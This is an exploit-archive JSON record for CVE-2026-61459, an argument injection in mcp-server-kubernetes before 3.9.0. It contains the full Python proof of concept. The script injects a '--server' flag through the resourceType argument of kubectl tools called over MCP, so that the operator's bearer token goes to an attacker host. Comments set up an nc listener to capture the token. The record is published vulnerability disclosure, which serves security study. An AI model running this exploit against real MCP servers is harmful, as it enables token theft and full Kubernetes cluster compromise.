{"exploit":{"id":"EDB-52638","name":"mcp-server-kubernetes 3.8.x - 'resourceType' Argument Injection","description":"mcp-server-kubernetes 3.8.x - 'resourceType' Argument Injection","cves":["CVE-2026-61459"],"author":"banyamer","published":"2026-08-11","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52638","path":"exploits/multiple/remote/52638.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52638.py","vulnerabilities":[{"id":"CVE-2026-61459","state":"PUBLISHED","title":"MCP Server Kubernetes < 3.9.0 Argument Injection via kubectl Structured Tools","titleSource":"CVE Program","description":"MCP Server Kubernetes before 3.9.0 contains an argument injection vulnerability in structured tools (kubectl_get, kubectl_describe, kubectl_delete) that allows attackers to bypass the assertNoDangerousFlags security check by supplying resourceType and name parameters with leading dashes. Attackers can inject the --server flag to redirect kubectl commands to an attacker-controlled API server, causing the operator's bearer token to be transmitted externally and enabling full cluster compromise.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-61459","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-61459"},"updatedAt":"2026-11-08T14:07:33.371Z","retrievedAt":"2026-11-25T16:13:47.264Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52638.png?v=2","url":"https://exploitbin.com/exploits/EDB-52638","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52638/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52638/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title:        mcp-server-kubernetes 3.8.x - Argument Injection\n# CVE:                  CVE-2026-61459\n# Date:                 2026-07-13\n# Exploit Author:       Mohammed Idrees Banyamer\n# Author Country:       Jordan\n# Instagram:            @banyamer_security\n# Author GitHub:        https://github.com/mbanyamer\n# Author Blog  :        https://banyamersecurity.com/blog/\n# Vendor Homepage:      https://github.com/Flux159/mcp-server-kubernetes\n# Software Link:        https://github.com/Flux159/mcp-server-kubernetes\n# Affected:             mcp-server-kubernetes < 3.9.0\n# Tested on:            mcp-server-kubernetes <= 3.8.x\n# Category:             Remote\n# Platform:             Linux\n# Exploit Type:         Argument Injection\n# CVSS:                 9.3\n# Description:          Argument injection via resourceType/name parameters in kubectl_get, kubectl_describe, and kubectl_delete tools allowing --server flag injection and bearer token exfiltration.\n# Fixed in:             3.9.0\n# Usage:\n#   python3 exploit.py\n#\n# Examples:\n#   python3 exploit.py --target http://localhost:8080 --attacker http://attacker:6443\n#\n# Options:\n#   --target     MCP Server URL (JSON-RPC endpoint)\n#   --attacker   Attacker-controlled Kubernetes API server URL\n#\n# Notes:\n#   • Requires access to call MCP tools (e.g. via Claude Desktop / Cursor / custom client)\n#   • Listener on attacker server (nc -lvnp 6443) will capture Authorization header with bearer token\n#\n# How to Use\n#\n# Step 1:\n#   Start listener: nc -lvnp 6443\n#\n# Step 2:\n#   Run exploit with attacker URL\n\ndef banner():\n    print(r\"\"\"\n╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗\n║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║\n║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝\n║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗\n║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║\n╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝\n        ╔═╗ Banyamer Security ╔═╗\n\"\"\")\n\nimport requests\nimport json\nimport argparse\nimport sys\n\ndef main():\n    banner()\n\n    parser = argparse.ArgumentParser(description=\"CVE-2026-61459 PoC - MCP Server Kubernetes Argument Injection\")\n    parser.add_argument(\"--target\", required=True, help=\"MCP Server JSON-RPC endpoint URL (e.g. http://localhost:8080/mcp)\")\n    parser.add_argument(\"--attacker\", required=True, help=\"Attacker Kubernetes API server URL (e.g. http://attacker.example.com:6443)\")\n    parser.add_argument(\"--tool\", default=\"kubectl_get\", choices=[\"kubectl_get\", \"kubectl_describe\", \"kubectl_delete\"], help=\"Tool to exploit\")\n    parser.add_argument(\"--namespace\", default=\"default\", help=\"Kubernetes namespace\")\n    args = parser.parse_args()\n\n    # Malicious payload - inject --server via resourceType\n    payload = {\n        \"jsonrpc\": \"2.0\",\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": args.tool,\n            \"arguments\": {\n                \"resourceType\": f\"--server={args.attacker}\",\n                \"name\": \"dummy-pod\",\n                \"namespace\": args.namespace,\n                \"output\": \"json\"\n            }\n        },\n        \"id\": 1\n    }\n\n    print(f\"[+] Sending exploit to {args.target} using {args.tool}\")\n    print(f\"[+] Attacker server: {args.attacker}\")\n    print(\"[+] Waiting for token exfiltration...\")\n\n    try:\n        response = requests.post(\n            args.target,\n            json=payload,\n            headers={\"Content-Type\": \"application/json\"},\n            timeout=10\n        )\n\n        print(f\"[+] Response status: {response.status_code}\")\n        if response.status_code == 200:\n            print(\"[+] Exploit sent successfully. Check your listener for the bearer token!\")\n        else:\n            print(f\"[-] Unexpected response: {response.text[:500]}\")\n\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 2:\n        print(\"Usage: python3 exploit.py --target <MCP_URL> --attacker <ATTACKER_URL>\")\n        sys.exit(1)\n    main()","sha256":"5169dedbbe78462b261276fb48cffa41675761971994b19d313a736d67604719","bytes":4856,"fetchedAt":"2026-11-26T08:55:40.681Z","encoding":"utf-8 (display only; download retains original bytes)"}